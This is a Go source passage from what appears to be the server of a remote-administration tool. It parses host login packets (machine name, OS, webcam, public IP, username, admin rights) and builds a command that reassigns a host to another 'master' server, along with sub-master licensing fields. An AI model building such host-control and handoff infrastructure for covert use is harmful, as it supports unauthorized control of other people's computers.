// LNX / MAC). Picking the wrong codec mangles non-ASCII characters — e.g. a
|
|
// German location string "Nürnberg" sent as UTF-8 (4E C3 BC 72 ...) and
|
|
// force-decoded as GBK turns into mojibake. The heartbeat path already honors
|
|
// this via DecodeClientString (see cmd/main.go handleHeartbeat); ParseLoginInfo
|
|
// previously did not, so every login string from a UTF-8 client was misread.
|
|
//
|
|
// Computer name and OS use a different rule: they are ANSI on Windows
|
|
// regardless of the capability bit (see DecodeLoginAnsiField), so they are
|
|
// decoded by client type, not by capability.
|
|
//
|
|
// To get encoding right we have a chicken-and-egg problem: capability lives
|
|
// in ModuleVersion (offset 164) and clientType lives in Reserved field 0
|
|
// (offset 476) — but Reserved itself needs that information to decode. Both
|
|
// "discriminator" values are pure ASCII (hex digits, "Windows"/"LNX"/"MAC"),
|
|
// so we can extract them with a UTF-8 read and then re-decode the actual
|
|
// user-text fields with the correct codec.
|
|
func ParseLoginInfo(data []byte) (*LoginInfo, error) {
|
|
if len(data) < 100 { // Minimum size check
|
|
return nil, ErrInvalidData
|
|
}
|
|
|
|
info := &LoginInfo{
|
|
Token: data[0],
|
|
}
|
|
|
|
// CPU MHz, WebCam, Speed — fixed-width binary, encoding-independent.
|
|
if len(data) >= OffsetCPUMHz+4 {
|
|
info.CPUMHz = binary.LittleEndian.Uint32(data[OffsetCPUMHz:])
|
|
}
|
|
if len(data) >= OffsetWebCamExist+4 {
|
|
info.WebCamExist = binary.LittleEndian.Uint32(data[OffsetWebCamExist:]) != 0
|
|
}
|
|
if len(data) >= OffsetSpeed+4 {
|
|
info.Speed = binary.LittleEndian.Uint32(data[OffsetSpeed:])
|
|
}
|
|
|
|
// ModuleVersion is "version-capabilityHex" — pure ASCII (e.g. "Dec 19
|
|
// 2025-0006"). Safe to read as UTF-8 regardless of client codec.
|
|
if len(data) >= OffsetModuleVersion+24 {
|
|
info.ModuleVersion = Utf8CleanString(data[OffsetModuleVersion : OffsetModuleVersion+24])
|
|
}
|
|
_, capability, _ := strings.Cut(info.ModuleVersion, "-")
|
|
|
|
// Peek at Reserved field 0 (RES_CLIENT_TYPE: "Windows" / "LNX" / "MAC")
|
|
// — pure ASCII, so we can read raw bytes without knowing the codec.
|
|
// LNX / MAC clients are implicitly UTF-8 even when capability is absent.
|
|
clientType := ""
|
|
if len(data) > OffsetReserved {
|
|
raw := data[OffsetReserved:min(OffsetReserved+512, len(data))]
|
|
if nul := bytes.IndexByte(raw, 0); nul >= 0 {
|
|
raw = raw[:nul]
|
|
}
|
|
head, _, _ := bytes.Cut(raw, []byte("|"))
|
|
clientType = string(head)
|
|
}
|
|
|
|
// Now decode every user-text field with the client's actual codec.
|
|
decode := func(b []byte) string { return DecodeClientString(b, capability, clientType) }
|
|
|
|
// Computer name / OS: ANSI on Windows whatever the capability says.
|
|
if len(data) >= OffsetOsVerInfoEx+156 {
|
|
info.OsVerInfo = DecodeLoginAnsiField(data[OffsetOsVerInfoEx:OffsetOsVerInfoEx+156], clientType)
|
|
}
|
|
if len(data) >= OffsetPCName+240 {
|
|
info.PCName = DecodeLoginAnsiField(data[OffsetPCName:OffsetPCName+240], clientType)
|
|
}
|
|
if len(data) >= OffsetMasterID+20 {
|
|
info.MasterID = decode(data[OffsetMasterID : OffsetMasterID+20])
|
|
}
|
|
if len(data) >= OffsetStartTime+20 {
|
|
info.StartTime = decode(data[OffsetStartTime : OffsetStartTime+20])
|
|
}
|
|
if len(data) >= OffsetReserved+512 {
|
|
info.Reserved = decode(data[OffsetReserved : OffsetReserved+512])
|
|
} else if len(data) > OffsetReserved {
|
|
info.Reserved = decode(data[OffsetReserved:])
|
|
}
|
|
|
|
return info, nil
|
|
}
|
|
|
|
// ParseReserved parses the reserved field into a slice of strings
|
|
func (info *LoginInfo) ParseReserved() []string {
|
|
if info.Reserved == "" {
|
|
return nil
|
|
}
|
|
return strings.Split(info.Reserved, "|")
|
|
}
|
|
|
|
// GetReservedField returns a specific field from reserved data by index
|
|
// Fields: ClientType(0), SystemBits(1), CPU(2), Memory(3), FilePath(4),
|
|
// Reserved(5), InstallTime(6), InstallInfo(7), ProgramBits(8), ExpiredDate(9),
|
|
// ClientLoc(10), ClientPubIP(11), ExeVersion(12), Username(13), IsAdmin(14)
|
|
func (info *LoginInfo) GetReservedField(index int) string {
|
|
fields := info.ParseReserved()
|
|
if index >= 0 && index < len(fields) {
|
|
return fields[index]
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// Validation structure for TOKEN_AUTH
|
|
type Validation struct {
|
|
From string // Start date (20 bytes)
|
|
To string // End date (20 bytes)
|
|
Admin string // Admin address (100 bytes)
|
|
Port uint16 // Admin port (2 bytes)
|
|
MaxDepth uint16 // Max generation depth (2 bytes), 0=cannot generate sub-master
|
|
Checksum string // HMAC checksum field (16 bytes)
|
|
}
|
|
|
|
// BuildValidation creates a validation response
|
|
func BuildValidation(days float64, admin string, port int, maxDepth uint16) []byte {
|
|
// This would build the validation structure
|
|
// For now, return a simple structure
|
|
data := make([]byte, 160) // Size of Validation struct
|
|
data[0] = TokenAuth
|
|
|
|
// Fill in fields...
|
|
// From: 20 bytes (offset 0)
|
|
// To: 20 bytes (offset 20)
|
|
// Admin: 100 bytes (offset 40)
|
|
// Port: 2 bytes (offset 140)
|
|
// MaxDepth: 2 bytes (offset 142)
|
|
// Checksum: 16 bytes (offset 144)
|
|
|
|
return data
|
|
}
|
|
|
|
// BuildAssignMasterPacket encodes a "transfer this host to another master"
|
|
// command, byte-compatible with the MFC server's assignFunction
|
|
// (server/2015Remote/2015RemoteDlg.cpp):
|
|
//
|
|
// [COMMAND_ASSIGN_MASTER][SHARE_TYPE_YAMA_FOREVER]host:port:days::transport\0
|
|
//
|
|
// The shine segment stays empty: the header-encryption variant is not
|
|
// something this server can know better than the host, and clients rotate it
|
|
// when a login is rejected (client/IOCPClient.h). The transport segment is
|
|
// always sent, because an absent segment does **not** mean "plain TCP" to the
|
|
// clients — they keep the link they run today (client/ClientDll.cpp
|
|
// ApplyAssignedMaster, common/host_endpoint.h ApplyEndpoint). A host that
|
|
// talks WSS to this server would then try WSS against the MFC master's raw TCP
|
|
// port and never connect. The caller picks the transport; TCP (0) matches what
|
|
// an MFC master listens on. days is formatted without trailing zeros so "0.5"
|
|
// survives the round trip.
|
|
func BuildAssignMasterPacket(host string, port int, days float64, transport int) []byte {
|
|
payload := host + ":" + strconv.Itoa(port) + ":" + strconv.FormatFloat(days, 'f', -1, 64) +
|
|
"::" + strconv.Itoa(transport)
|
|
pkt := make([]byte, 0, 2+len(payload)+1)
|
|
pkt = append(pkt, CommandAssignMaster, ShareTypeYamaForever)
|
|
pkt = append(pkt, payload...)
|
|
pkt = append(pkt, 0) // clients parse the payload as a C string
|
|
return pkt
|
|
}
|